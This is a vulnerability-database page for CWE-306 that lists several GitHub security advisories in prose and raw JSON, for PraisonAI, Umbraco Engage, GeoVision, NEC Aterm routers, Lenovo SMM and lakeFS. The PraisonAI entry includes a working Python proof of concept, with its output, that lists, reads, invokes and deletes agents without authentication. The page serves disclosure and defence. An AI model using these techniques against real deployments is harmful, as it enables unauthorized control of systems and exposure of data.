Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

3634 vulnerabilities reference this CWE, most recent first.

GHSA-86QC-R5V2-V6X6

Vulnerability from github – Published: 2026-05-29 22:27 – Updated: 2026-05-29 22:27
VLAI
Summary
PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset
Details

Summary

PraisonAI's call server exposes a network-facing agent control API without authentication when CALL_SERVER_TOKEN is not configured.

The affected component is the praisonai.api.agent_invoke router as mounted by praisonai.api.call. The authentication helper verify_token() fails open when CALL_SERVER_TOKEN is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents.

This is security-relevant because the bundled call server includes the vulnerable router and binds to 0.0.0.0. As a result, operators who launch the call server without explicitly setting CALL_SERVER_TOKEN may unintentionally expose an unauthenticated remote agent control plane.

Details

The vulnerable behavior is caused by a fail-open authentication default.

In praisonai/api/agent_invoke.py, CALL_SERVER_TOKEN is read from the environment:

CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')

The authentication dependency then returns successfully when the token is not configured:

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
    if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:
        return  # No authentication if FastAPI unavailable or no token set

This means that the absence of CALL_SERVER_TOKEN disables authentication entirely.

The same helper is used by sensitive agent-control routes, including:

@router.post("/agents/{agent_id}/invoke")
async def invoke_agent(..., _: None = Depends(verify_token))

@router.get("/agents")
async def list_agents(_: None = Depends(verify_token))

@router.delete("/agents/{agent_id}")
async def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token))

@router.get("/agents/{agent_id}")
async def get_agent_info(agent_id: str, _: None = Depends(verify_token))

These endpoints allow a caller to:

  • list registered agents;
  • retrieve agent metadata;
  • retrieve agent instruction text;
  • invoke agents;
  • unregister agents.

The vulnerable router is mounted by the call server:

from .agent_invoke import router as agent_invoke_router
app.include_router(agent_invoke_router)

The call server then listens on all interfaces:

uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")

Therefore, when praisonai-call is started without CALL_SERVER_TOKEN, the agent-control API becomes reachable without authentication from any client that can access the server.

PoC

The following local PoC imports the real praisonai.api.agent_invoke router from source, ensures CALL_SERVER_TOKEN is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.

The PoC proves that, without sending any authentication material:

  1. GET /api/v1/agents returns the list of registered agents.
  2. GET /api/v1/agents/{agent_id} exposes agent metadata and instructions.
  3. POST /api/v1/agents/{agent_id}/invoke executes the registered agent.
  4. DELETE /api/v1/agents/{agent_id} unregisters the agent.

Run with:

PRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py

Full PoC:

#!/usr/bin/env python3
from __future__ import annotations

import os
import sys
from pathlib import Path
from types import SimpleNamespace


REPO_ROOT = Path(os.environ.get("PRAISONAI_REPO", "/path/to/PraisonAI")).resolve()
PRAISON_ROOT = REPO_ROOT / "src" / "praisonai"


def verify_source() -> None:
    expected = {
        PRAISON_ROOT / "praisonai/api/agent_invoke.py": [
            "CALL_SERVER_TOKEN = os.getenv('CALL_SERVER_TOKEN')",
            "if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:",
            '@router.post("/agents/{agent_id}/invoke")',
            '@router.get("/agents")',
            '@router.delete("/agents/{agent_id}")',
            '@router.get("/agents/{agent_id}")',
        ],
        PRAISON_ROOT / "praisonai/api/call.py": [
            "app.include_router(agent_invoke_router)",
            'uvicorn.run(app, host="0.0.0.0", port=port, log_level="warning")',
        ],
    }

    for path, needles in expected.items():
        if not path.exists():
            raise RuntimeError(f"source verification failed: file not found: {path}")

        text = path.read_text(encoding="utf-8")
        for needle in needles:
            if needle not in text:
                raise RuntimeError(f"source verification failed: {needle!r} not found in {path}")


class DemoAgent:
    name = "demo-agent"
    instructions = "super-secret instructions"
    tools = [SimpleNamespace(name="danger-tool")]

    def start(self, message: str) -> str:
        return f"echo:{message}"


def main() -> int:
    verify_source()

    os.environ.pop("CALL_SERVER_TOKEN", None)
    sys.path.insert(0, str(PRAISON_ROOT))

    from fastapi import FastAPI
    from fastapi.testclient import TestClient
    from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router

    app = FastAPI()
    app.include_router(router)

    register_agent("demo", DemoAgent())

    client = TestClient(app)

    list_resp = client.get("/api/v1/agents")
    info_resp = client.get("/api/v1/agents/demo")
    invoke_resp = client.post("/api/v1/agents/demo/invoke", json={"message": "hello"})
    delete_resp = client.delete("/api/v1/agents/demo")

    print(f"[poc] token_configured={bool(CALL_SERVER_TOKEN)}")
    print(f"[poc] list_status={list_resp.status_code} body={list_resp.json()}")
    print(f"[poc] info_status={info_resp.status_code} body={info_resp.json()}")
    print(f"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}")
    print(f"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}")

    if CALL_SERVER_TOKEN:
        raise SystemExit("[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process")

    if list_resp.status_code != 200 or "demo" not in list_resp.json().get("agents", []):
        raise SystemExit("[poc] MISS: unauthenticated agent listing failed")

    if info_resp.status_code != 200 or info_resp.json().get("instructions") != "super-secret instructions":
        raise SystemExit("[poc] MISS: unauthenticated agent info leak failed")

    if invoke_resp.status_code != 200 or invoke_resp.json().get("result") != "echo:hello":
        raise SystemExit("[poc] MISS: unauthenticated agent invocation failed")

    if delete_resp.status_code != 200:
        raise SystemExit("[poc] MISS: unauthenticated agent unregister failed")

    print("[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Observed result:

[poc] token_configured=False
[poc] list_status=200 body={'agents': ['demo'], 'count': 1, 'status': 'success'}
[poc] info_status=200 body={'agent_id': 'demo', 'status': 'registered', 'type': 'DemoAgent', 'name': 'demo-agent', 'instructions': 'super-secret instructions', 'tools': ['danger-tool']}
[poc] invoke_status=200 body={'result': 'echo:hello', 'session_id': 'default', 'status': 'success', 'metadata': {'agent_id': 'demo', 'message_length': 5, 'response_length': 10}}
[poc] delete_status=200 body={'message': "Agent 'demo' unregistered successfully", 'status': 'success'}
[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent

This confirms that the agent-control endpoints are accessible without authentication when CALL_SERVER_TOKEN is unset.

Impact

If an operator runs the PraisonAI call server without explicitly setting CALL_SERVER_TOKEN, any reachable client may be able to:

  • enumerate registered agents;
  • read agent metadata;
  • read agent instruction text;
  • invoke agents;
  • trigger downstream tools or external integrations connected to agents;
  • consume model or API budget through repeated invocation;
  • unregister agents and disrupt availability.

The impact depends on the deployed agents and their connected tools. For agents wired to external APIs, internal systems, local tools, or privileged actions, this creates a remote unauthenticated control surface.

The issue is not limited to information disclosure. The unauthenticated invoke endpoint can trigger agent execution, and the unauthenticated delete endpoint can remove registered agents.

Suggested remediation

Recommended fixes:

  1. Fail closed when CALL_SERVER_TOKEN is unset.

The authentication dependency should reject requests unless authentication is explicitly configured and a valid token is supplied.

  1. Refuse to mount the agent invocation router unless authentication is configured.

  2. If unauthenticated mode is intended for local development, bind to 127.0.0.1 by default when CALL_SERVER_TOKEN is absent.

  3. Add a startup error or highly visible warning when the call server is started without authentication.

  4. Add regression tests that assert 401 Unauthorized for all sensitive agent routes when no valid token is supplied.

  5. Consider requiring an explicit unsafe flag, such as --allow-unauthenticated-call-server, before allowing the server to start without authentication.

Security boundary

This report concerns the default authentication behavior of a network-facing server component. The issue is not that users can intentionally disable authentication for trusted local development. The issue is that the server fails open when CALL_SERVER_TOKEN is missing while the bundled server binds to 0.0.0.0, which can expose the agent-control API remotely.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47396"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:27:34Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nPraisonAI\u0027s call server exposes a network-facing agent control API without authentication when `CALL_SERVER_TOKEN` is not configured.\n\nThe affected component is the `praisonai.api.agent_invoke` router as mounted by `praisonai.api.call`. The authentication helper `verify_token()` fails open when `CALL_SERVER_TOKEN` is unset. Since every sensitive agent-control endpoint depends on this helper, starting the call server without a token allows any reachable client to list agents, inspect agent metadata and instructions, invoke agents, and unregister agents.\n\nThis is security-relevant because the bundled call server includes the vulnerable router and binds to `0.0.0.0`. As a result, operators who launch the call server without explicitly setting `CALL_SERVER_TOKEN` may unintentionally expose an unauthenticated remote agent control plane.\n\n### Details\n\nThe vulnerable behavior is caused by a fail-open authentication default.\n\nIn `praisonai/api/agent_invoke.py`, `CALL_SERVER_TOKEN` is read from the environment:\n\n```python\nCALL_SERVER_TOKEN = os.getenv(\u0027CALL_SERVER_TOKEN\u0027)\n```\n\nThe authentication dependency then returns successfully when the token is not configured:\n\n```python\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -\u003e None:\n    if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:\n        return  # No authentication if FastAPI unavailable or no token set\n```\n\nThis means that the absence of `CALL_SERVER_TOKEN` disables authentication entirely.\n\nThe same helper is used by sensitive agent-control routes, including:\n\n```python\n@router.post(\"/agents/{agent_id}/invoke\")\nasync def invoke_agent(..., _: None = Depends(verify_token))\n\n@router.get(\"/agents\")\nasync def list_agents(_: None = Depends(verify_token))\n\n@router.delete(\"/agents/{agent_id}\")\nasync def unregister_agent_endpoint(agent_id: str, _: None = Depends(verify_token))\n\n@router.get(\"/agents/{agent_id}\")\nasync def get_agent_info(agent_id: str, _: None = Depends(verify_token))\n```\n\nThese endpoints allow a caller to:\n\n- list registered agents;\n- retrieve agent metadata;\n- retrieve agent instruction text;\n- invoke agents;\n- unregister agents.\n\nThe vulnerable router is mounted by the call server:\n\n```python\nfrom .agent_invoke import router as agent_invoke_router\napp.include_router(agent_invoke_router)\n```\n\nThe call server then listens on all interfaces:\n\n```python\nuvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\")\n```\n\nTherefore, when `praisonai-call` is started without `CALL_SERVER_TOKEN`, the agent-control API becomes reachable without authentication from any client that can access the server.\n\n### PoC\n\nThe following local PoC imports the real `praisonai.api.agent_invoke` router from source, ensures `CALL_SERVER_TOKEN` is absent, registers a demo agent, mounts the router into a local FastAPI app, and sends unauthenticated requests to the vulnerable endpoints.\n\nThe PoC proves that, without sending any authentication material:\n\n1. `GET /api/v1/agents` returns the list of registered agents.\n2. `GET /api/v1/agents/{agent_id}` exposes agent metadata and instructions.\n3. `POST /api/v1/agents/{agent_id}/invoke` executes the registered agent.\n4. `DELETE /api/v1/agents/{agent_id}` unregisters the agent.\n\nRun with:\n\n```bash\nPRAISONAI_REPO=/path/to/PraisonAI python -B embedded_poc.py\n```\n\nFull PoC:\n\n```python\n#!/usr/bin/env python3\nfrom __future__ import annotations\n\nimport os\nimport sys\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\n\nREPO_ROOT = Path(os.environ.get(\"PRAISONAI_REPO\", \"/path/to/PraisonAI\")).resolve()\nPRAISON_ROOT = REPO_ROOT / \"src\" / \"praisonai\"\n\n\ndef verify_source() -\u003e None:\n    expected = {\n        PRAISON_ROOT / \"praisonai/api/agent_invoke.py\": [\n            \"CALL_SERVER_TOKEN = os.getenv(\u0027CALL_SERVER_TOKEN\u0027)\",\n            \"if not FASTAPI_AVAILABLE or not CALL_SERVER_TOKEN:\",\n            \u0027@router.post(\"/agents/{agent_id}/invoke\")\u0027,\n            \u0027@router.get(\"/agents\")\u0027,\n            \u0027@router.delete(\"/agents/{agent_id}\")\u0027,\n            \u0027@router.get(\"/agents/{agent_id}\")\u0027,\n        ],\n        PRAISON_ROOT / \"praisonai/api/call.py\": [\n            \"app.include_router(agent_invoke_router)\",\n            \u0027uvicorn.run(app, host=\"0.0.0.0\", port=port, log_level=\"warning\")\u0027,\n        ],\n    }\n\n    for path, needles in expected.items():\n        if not path.exists():\n            raise RuntimeError(f\"source verification failed: file not found: {path}\")\n\n        text = path.read_text(encoding=\"utf-8\")\n        for needle in needles:\n            if needle not in text:\n                raise RuntimeError(f\"source verification failed: {needle!r} not found in {path}\")\n\n\nclass DemoAgent:\n    name = \"demo-agent\"\n    instructions = \"super-secret instructions\"\n    tools = [SimpleNamespace(name=\"danger-tool\")]\n\n    def start(self, message: str) -\u003e str:\n        return f\"echo:{message}\"\n\n\ndef main() -\u003e int:\n    verify_source()\n\n    os.environ.pop(\"CALL_SERVER_TOKEN\", None)\n    sys.path.insert(0, str(PRAISON_ROOT))\n\n    from fastapi import FastAPI\n    from fastapi.testclient import TestClient\n    from praisonai.api.agent_invoke import CALL_SERVER_TOKEN, register_agent, router\n\n    app = FastAPI()\n    app.include_router(router)\n\n    register_agent(\"demo\", DemoAgent())\n\n    client = TestClient(app)\n\n    list_resp = client.get(\"/api/v1/agents\")\n    info_resp = client.get(\"/api/v1/agents/demo\")\n    invoke_resp = client.post(\"/api/v1/agents/demo/invoke\", json={\"message\": \"hello\"})\n    delete_resp = client.delete(\"/api/v1/agents/demo\")\n\n    print(f\"[poc] token_configured={bool(CALL_SERVER_TOKEN)}\")\n    print(f\"[poc] list_status={list_resp.status_code} body={list_resp.json()}\")\n    print(f\"[poc] info_status={info_resp.status_code} body={info_resp.json()}\")\n    print(f\"[poc] invoke_status={invoke_resp.status_code} body={invoke_resp.json()}\")\n    print(f\"[poc] delete_status={delete_resp.status_code} body={delete_resp.json()}\")\n\n    if CALL_SERVER_TOKEN:\n        raise SystemExit(\"[poc] MISS: CALL_SERVER_TOKEN unexpectedly set in test process\")\n\n    if list_resp.status_code != 200 or \"demo\" not in list_resp.json().get(\"agents\", []):\n        raise SystemExit(\"[poc] MISS: unauthenticated agent listing failed\")\n\n    if info_resp.status_code != 200 or info_resp.json().get(\"instructions\") != \"super-secret instructions\":\n        raise SystemExit(\"[poc] MISS: unauthenticated agent info leak failed\")\n\n    if invoke_resp.status_code != 200 or invoke_resp.json().get(\"result\") != \"echo:hello\":\n        raise SystemExit(\"[poc] MISS: unauthenticated agent invocation failed\")\n\n    if delete_resp.status_code != 200:\n        raise SystemExit(\"[poc] MISS: unauthenticated agent unregister failed\")\n\n    print(\"[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent\")\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n\nObserved result:\n\n```text\n[poc] token_configured=False\n[poc] list_status=200 body={\u0027agents\u0027: [\u0027demo\u0027], \u0027count\u0027: 1, \u0027status\u0027: \u0027success\u0027}\n[poc] info_status=200 body={\u0027agent_id\u0027: \u0027demo\u0027, \u0027status\u0027: \u0027registered\u0027, \u0027type\u0027: \u0027DemoAgent\u0027, \u0027name\u0027: \u0027demo-agent\u0027, \u0027instructions\u0027: \u0027super-secret instructions\u0027, \u0027tools\u0027: [\u0027danger-tool\u0027]}\n[poc] invoke_status=200 body={\u0027result\u0027: \u0027echo:hello\u0027, \u0027session_id\u0027: \u0027default\u0027, \u0027status\u0027: \u0027success\u0027, \u0027metadata\u0027: {\u0027agent_id\u0027: \u0027demo\u0027, \u0027message_length\u0027: 5, \u0027response_length\u0027: 10}}\n[poc] delete_status=200 body={\u0027message\u0027: \"Agent \u0027demo\u0027 unregistered successfully\", \u0027status\u0027: \u0027success\u0027}\n[poc] HIT: unauthenticated caller listed, inspected, invoked, and unregistered the demo agent\n```\n\nThis confirms that the agent-control endpoints are accessible without authentication when `CALL_SERVER_TOKEN` is unset.\n\n### Impact\n\nIf an operator runs the PraisonAI call server without explicitly setting `CALL_SERVER_TOKEN`, any reachable client may be able to:\n\n- enumerate registered agents;\n- read agent metadata;\n- read agent instruction text;\n- invoke agents;\n- trigger downstream tools or external integrations connected to agents;\n- consume model or API budget through repeated invocation;\n- unregister agents and disrupt availability.\n\nThe impact depends on the deployed agents and their connected tools. For agents wired to external APIs, internal systems, local tools, or privileged actions, this creates a remote unauthenticated control surface.\n\nThe issue is not limited to information disclosure. The unauthenticated `invoke` endpoint can trigger agent execution, and the unauthenticated `delete` endpoint can remove registered agents.\n\n### Suggested remediation\n\nRecommended fixes:\n\n1. Fail closed when `CALL_SERVER_TOKEN` is unset.\n\n   The authentication dependency should reject requests unless authentication is explicitly configured and a valid token is supplied.\n\n2. Refuse to mount the agent invocation router unless authentication is configured.\n\n3. If unauthenticated mode is intended for local development, bind to `127.0.0.1` by default when `CALL_SERVER_TOKEN` is absent.\n\n4. Add a startup error or highly visible warning when the call server is started without authentication.\n\n5. Add regression tests that assert `401 Unauthorized` for all sensitive agent routes when no valid token is supplied.\n\n6. Consider requiring an explicit unsafe flag, such as `--allow-unauthenticated-call-server`, before allowing the server to start without authentication.\n\n### Security boundary\n\nThis report concerns the default authentication behavior of a network-facing server component. The issue is not that users can intentionally disable authentication for trusted local development. The issue is that the server fails open when `CALL_SERVER_TOKEN` is missing while the bundled server binds to `0.0.0.0`, which can expose the agent-control API remotely.",
  "id": "GHSA-86qc-r5v2-v6x6",
  "modified": "2026-05-29T22:27:34Z",
  "published": "2026-05-29T22:27:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI call server exposes unauthenticated agent listing, invocation, and deletion when CALL_SERVER_TOKEN is unset"
}

GHSA-86VQ-CCWF-RM62

Vulnerability from github – Published: 2026-02-27 18:35 – Updated: 2026-03-19 16:13
VLAI
Summary
Umbraco.Engage.Forms Allows Unauthorized Access to Multiple API Endpoints
Details

Description

A vulnerability has been identified in Umbraco Engage where certain API endpoints are exposed without enforcing authentication or authorization checks. The affected endpoints can be accessed directly over the network without requiring a valid session or user credentials. By supplying a user-controlled identifier parameter (e.g., ?id=), an attacker can retrieve sensitive data associated with arbitrary records.

Because no access control validation is performed, the endpoints are vulnerable to enumeration attacks, allowing attackers to iterate over identifiers and extract data at scale.

Impact

An unauthenticated attacker can retrieve sensitive Engage-related data by directly querying the affected API endpoints. The vulnerability allows arbitrary record access through predictable or enumerable identifiers.

The confidentiality impact is considered high. No direct integrity or availability impact has been identified.

The scope of exposed data depends on the deployment but may include analytics data, tracking data, customer-related information, or other Engage-managed content.

Patches

The vulnerability affects both v16 and v17. Patches have already been released. Users are advised to update to 16.2.1 or 17.1.1

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

References

Are there any links users can visit to find out more?

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Umbraco.Engage.Forms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "16.0.0"
            },
            {
              "fixed": "16.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "NuGet",
        "name": "Umbraco.Engage.Forms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "17.0.0"
            },
            {
              "fixed": "17.1.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27449"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-306",
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-27T18:35:57Z",
    "nvd_published_at": "2026-02-26T22:20:47Z",
    "severity": "HIGH"
  },
  "details": "### Description\nA vulnerability has been identified in Umbraco Engage where certain API endpoints are exposed without enforcing authentication or authorization checks. The affected endpoints can be accessed directly over the network without requiring a valid session or user credentials. By supplying a user-controlled identifier parameter (e.g., ?id=), an attacker can retrieve sensitive data associated with arbitrary records.\n\nBecause no access control validation is performed, the endpoints are vulnerable to enumeration attacks, allowing attackers to iterate over identifiers and extract data at scale.\n\n### Impact\nAn unauthenticated attacker can retrieve sensitive Engage-related data by directly querying the affected API endpoints. The vulnerability allows arbitrary record access through predictable or enumerable identifiers.\n\nThe confidentiality impact is considered high. No direct integrity or availability impact has been identified.\n\nThe scope of exposed data depends on the deployment but may include analytics data, tracking data, customer-related information, or other Engage-managed content.\n\n### Patches\nThe vulnerability affects both v16 and v17. Patches have already been released. Users are advised to update to 16.2.1 or 17.1.1\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n### References\n_Are there any links users can visit to find out more?_",
  "id": "GHSA-86vq-ccwf-rm62",
  "modified": "2026-03-19T16:13:28Z",
  "published": "2026-02-27T18:35:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/umbraco/Umbraco.Engage.Issues/security/advisories/GHSA-86vq-ccwf-rm62"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27449"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/umbraco/Umbraco.Engage.Issues"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Umbraco.Engage.Forms Allows Unauthorized Access to Multiple API Endpoints"
}

GHSA-8728-CCM5-WCJ7

Vulnerability from github – Published: 2026-07-02 06:34 – Updated: 2026-07-02 06:34
VLAI
Details

GeoWebPlayer (also called "Web Plugin" in the GV-VMS documentation and "WS Player" for VMS-Cloud) is an addon that can be installed with various GeoVision software (GV-VMS, GV-Cloud, ...). It creates a websocket server that expands the capabilities of the various web-interfaces provided by the GeoVision software and may be necessary for them to function properly.

In order to access the websocket server, no authentication is required. As such, any malicious website can attempt to open a connection to the server and potentially access sensitive APIs. In particular, it's possible to call a combination of the create method and getScreenCapture to retrieve the content of the user's screen.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-13125"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-02T04:17:09Z",
    "severity": "HIGH"
  },
  "details": "GeoWebPlayer (also called \"Web Plugin\" in the GV-VMS documentation and \"WS Player\" for VMS-Cloud) is an addon that can be installed with various GeoVision software (GV-VMS, GV-Cloud, ...). It creates a websocket server that expands the capabilities of the various web-interfaces provided by the GeoVision software and may be necessary for them to function properly.\n\nIn order to access the websocket server, no authentication is required. As such, any malicious website can attempt to open a connection to the server and potentially access sensitive APIs. In particular, it\u0027s possible to call a combination of the `create` method and  `getScreenCapture`  to retrieve the content of the user\u0027s screen.",
  "id": "GHSA-8728-ccm5-wcj7",
  "modified": "2026-07-02T06:34:03Z",
  "published": "2026-07-02T06:34:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13125"
    },
    {
      "type": "WEB",
      "url": "https://www.geovision.com.tw/cyber_security.php"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2026-2370"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-872H-PCFC-25M6

Vulnerability from github – Published: 2025-01-15 09:30 – Updated: 2025-01-15 09:30
VLAI
Details

Missing Authentication for Critical Function vulnerability in NEC Corporation Aterm WG2600HS Ver.1.7.2 and earlier, WF1200CRS Ver.1.6.0 and earlier, WG1200CRS Ver.1.5.0 and earlier, GB1200PE Ver.1.3.0 and earlier, WG2600HP4 Ver.1.4.2 and earlier, WG2600HM4 Ver.1.4.2 and earlier, WG2600HS2 Ver.1.3.2 and earlier, WX3000HP Ver.2.4.2 and earlier and WX4200D5 Ver.1.2.4 and earlier allows a attacker to get a Wi-Fi password via the internet.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-0355"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-15T08:15:26Z",
    "severity": "HIGH"
  },
  "details": "Missing Authentication for Critical Function vulnerability in NEC Corporation Aterm WG2600HS Ver.1.7.2 and earlier, WF1200CRS Ver.1.6.0 and earlier, WG1200CRS Ver.1.5.0 and earlier, GB1200PE Ver.1.3.0 and earlier, WG2600HP4 Ver.1.4.2 and earlier, WG2600HM4 Ver.1.4.2 and earlier, WG2600HS2 Ver.1.3.2 and earlier, WX3000HP Ver.2.4.2 and earlier and WX4200D5 Ver.1.2.4 and earlier allows a attacker to get a Wi-Fi password via the internet.",
  "id": "GHSA-872h-pcfc-25m6",
  "modified": "2025-01-15T09:30:50Z",
  "published": "2025-01-15T09:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0355"
    },
    {
      "type": "WEB",
      "url": "https://jpn.nec.com/security-info/secinfo/nv25-003_en.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-877W-CFHH-J9X8

Vulnerability from github – Published: 2024-04-15 18:30 – Updated: 2024-04-15 18:30
VLAI
Details

An authentication bypass vulnerability was identified in SMM/SMM2 and FPC that could allow an authenticated user to execute certain IPMI calls that could lead to exposure of limited system information.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-4857"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-15T18:15:09Z",
    "severity": "HIGH"
  },
  "details": "\nAn authentication bypass vulnerability was identified in SMM/SMM2 and FPC that could allow an authenticated user to execute certain IPMI calls that could lead to exposure of limited system information.\n\n",
  "id": "GHSA-877w-cfhh-j9x8",
  "modified": "2024-04-15T18:30:51Z",
  "published": "2024-04-15T18:30:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-4857"
    },
    {
      "type": "WEB",
      "url": "https://support.lenovo.com/us/en/product_security/LEN-140420"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-87FC-9C43-8Q4G

Vulnerability from github – Published: 2026-07-24 15:33 – Updated: 2026-07-24 15:33
VLAI
Details

lakeFS through 1.83.0, fixed in commit 71a45ee, contains an authentication bypass vulnerability in the /setup_comm_prefs endpoint that allows unauthenticated attackers to overwrite operator metadata including email, name, and company after setup completion. Attackers can POST to this endpoint to modify security update preferences, disable security communications, and trigger falsified telemetry events using the legitimate installation ID.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-66006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-24T15:19:07Z",
    "severity": "MODERATE"
  },
  "details": "lakeFS through 1.83.0, fixed in commit 71a45ee, contains an authentication bypass vulnerability in the /setup_comm_prefs endpoint that allows unauthenticated attackers to overwrite operator metadata including email, name, and company after setup completion. Attackers can POST to this endpoint to modify security update preferences, disable security communications, and trigger falsified telemetry events using the legitimate installation ID.",
  "id": "GHSA-87fc-9c43-8q4g",
  "modified": "2026-07-24T15:33:03Z",
  "published": "2026-07-24T15:33:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66006"
    },
    {
      "type": "WEB",
      "url": "https://github.com/treeverse/lakeFS/issues/10465"
    },
    {
      "type": "WEB",
      "url": "https://github.com/treeverse/lakeFS/pull/10499"
    },
    {
      "type": "WEB",
      "url": "https://github.com/treeverse/lakeFS/commit/71a45eeb1639d146d34b8effd7e86d077160ed7c"
    },
    {
      "type": "WEB",
